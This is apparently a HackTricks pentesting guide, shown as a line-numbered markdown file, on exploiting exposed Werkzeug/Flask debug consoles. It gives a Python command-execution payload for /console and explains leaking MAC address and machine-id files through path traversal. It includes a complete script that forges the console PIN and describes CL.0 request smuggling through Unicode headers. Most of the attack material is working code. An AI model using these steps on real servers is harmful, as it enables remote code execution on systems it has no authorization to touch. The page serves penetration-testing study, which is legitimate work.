werkzeug.md (8147B)
1 --- 2 title: "Werkzeug / Flask Debug" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/werkzeug.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/werkzeug.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Werkzeug / Flask Debug 14 15 ## Console RCE 16 17 If Werkzeug's interactive debugger is exposed, `/console` may provide arbitrary Python execution. The debugger is intended only for development and must never be exposed in production.<sup>[[5]](#references)</sup> 18 19 ```python 20 __import__('os').popen('whoami').read(); 21 ``` 22 23  24 25 There are also public automation tools, such as [Werkzeug-Debug-RCE](https://github.com/its-arun/Werkzeug-Debug-RCE), and a Metasploit module. 26 27 ## Pin Protected - Path Traversal 28 29 In some occasions the **`/console`** endpoint is going to be protected by a pin. If you have a **file traversal vulnerability**, you can leak all the necessary info to generate that pin. 30 31 ### Werkzeug Console PIN Exploit 32 33 Force a debug error page in the app to see this: 34 35 ```text 36 The console is locked and needs to be unlocked by entering the PIN. 37 You can find the PIN printed out on the standard output of your 38 shell that runs the server 39 ``` 40 41 The console normally requires a project-specific PIN printed to the server's command line. When an authorized assessment also has arbitrary file read, the version-specific PIN algorithm and its inputs can be studied in Werkzeug's [`debug/__init__.py`](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py). Obtain the source for the exact deployed version because the algorithm has changed over time.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[5]](#references)</sup> 42 43 To exploit the console PIN, two sets of variables, `probably_public_bits` and `private_bits`, are needed: 44 45 #### **`probably_public_bits`** 46 47 - **`username`**: Refers to the user who initiated the Flask session. 48 - **`modname`**: Typically designated as `flask.app`. 49 - **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generally resolves to **Flask**. 50 - **`getattr(mod, '__file__', None)`**: Represents the full path to `app.py` within the Flask directory (e.g., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). If `app.py` is not applicable, **try `app.pyc`**. 51 52 #### **`private_bits`** 53 54 - **`uuid.getnode()`**: Fetches the MAC address of the current machine, with `str(uuid.getnode())` translating it into a decimal format. 55 56 - To **determine the server's MAC address**, one must identify the active network interface used by the app (e.g., `ens3`). In cases of uncertainty, **leak `/proc/net/arp`** to find the device ID, then **extract the MAC address** from **`/sys/class/net/<device id>/address`**. 57 - Conversion of a hexadecimal MAC address to decimal can be performed as shown below: 58 59 ```python 60 # Example MAC address: 56:00:02:7a:23:ac 61 >>> print(0x5600027a23ac) 62 94558041547692 63 ``` 64 65 - **`get_machine_id()`**: Concatenates data from `/etc/machine-id` or `/proc/sys/kernel/random/boot_id` with the first line of `/proc/self/cgroup` post the last slash (`/`). 66 67 <details> 68 69 <summary>Code for `get_machine_id()`</summary> 70 71 ```python 72 def get_machine_id() -> t.Optional[t.Union[str, bytes]]: 73 global _machine_id 74 75 if _machine_id is not None: 76 return _machine_id 77 78 def _generate() -> t.Optional[t.Union[str, bytes]]: 79 linux = b"" 80 81 # machine-id is stable across boots, boot_id is not. 82 for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": 83 try: 84 with open(filename, "rb") as f: 85 value = f.readline().strip() 86 except OSError: 87 continue 88 89 if value: 90 linux += value 91 break 92 93 # Containers share the same machine id, add some cgroup 94 # information. This is used outside containers too but should be 95 # relatively stable across boots. 96 try: 97 with open("/proc/self/cgroup", "rb") as f: 98 linux += f.readline().strip().rpartition(b"/")[2] 99 except OSError: 100 pass 101 102 if linux: 103 return linux 104 105 # On OS X, use ioreg to get the computer's serial number. 106 try: 107 ``` 108 109 </details> 110 111 Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN. The script uses the assembled `probably_public_bits` and `private_bits` to create a hash, which then undergoes further processing to produce the final PIN. Below is the Python code for executing this process: 112 113 ```python 114 import hashlib 115 from itertools import chain 116 probably_public_bits = [ 117 'web3_user', # username 118 'flask.app', # modname 119 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) 120 '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None), 121 ] 122 123 private_bits = [ 124 '279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address 125 'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id 126 ] 127 128 # h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0 129 h = hashlib.sha1() 130 for bit in chain(probably_public_bits, private_bits): 131 if not bit: 132 continue 133 if isinstance(bit, str): 134 bit = bit.encode('utf-8') 135 h.update(bit) 136 h.update(b'cookiesalt') 137 # h.update(b'shittysalt') 138 139 cookie_name = '__wzd' + h.hexdigest()[:20] 140 141 num = None 142 if num is None: 143 h.update(b'pinsalt') 144 num = ('%09d' % int(h.hexdigest(), 16))[:9] 145 146 rv = None 147 if rv is None: 148 for group_size in 5, 4, 3: 149 if len(num) % group_size == 0: 150 rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') 151 for x in range(0, len(num), group_size)) 152 break 153 else: 154 rv = num 155 156 print(rv) 157 ``` 158 159 This script produces the PIN by hashing the concatenated bits, adding specific salts (`cookiesalt` and `pinsalt`), and formatting the output. It's important to note that the actual values for `probably_public_bits` and `private_bits` need to be accurately obtained from the target system to ensure the generated PIN matches the one expected by the Werkzeug console. 160 161 > [!TIP] 162 > If you are on an **old version** of Werkzeug, try changing the **hashing algorithm to md5** instead of sha1. 163 164 ## Werkzeug Unicode chars 165 166 As observed in [**this issue**](https://github.com/pallets/werkzeug/issues/2833), affected Werkzeug versions did not close a request containing certain Unicode header characters. As explained in [**this writeup**](https://mizu.re/post/twisty-python), this could produce a CL.0 request-smuggling condition.<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup> 167 168 This is because, In Werkzeug it's possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.<sup>[[4]](#references)</sup> 169 170 ## Automated Exploitation 171 172 [Wconsole Extractor](https%3A//github.com/Ruulian/wconsole_extractor) 173 174 ## References 175 176 - [1] [Werkzeug Console PIN Exploit](https://www.daehee.com/werkzeug-console-pin-exploit/) 177 - [2] [CTFtime writeup #17955 – Werkzeug console PIN](https://ctftime.org/writeup/17955) 178 - [3] [Werkzeug issue #2833 – Unicode characters in headers keep the connection open](https://github.com/pallets/werkzeug/issues/2833) 179 - [4] [Twisty Python](https://mizu.re/post/twisty-python) 180 - [5] [Werkzeug documentation – Debugging Applications](https://werkzeug.palletsprojects.com/en/stable/debug/)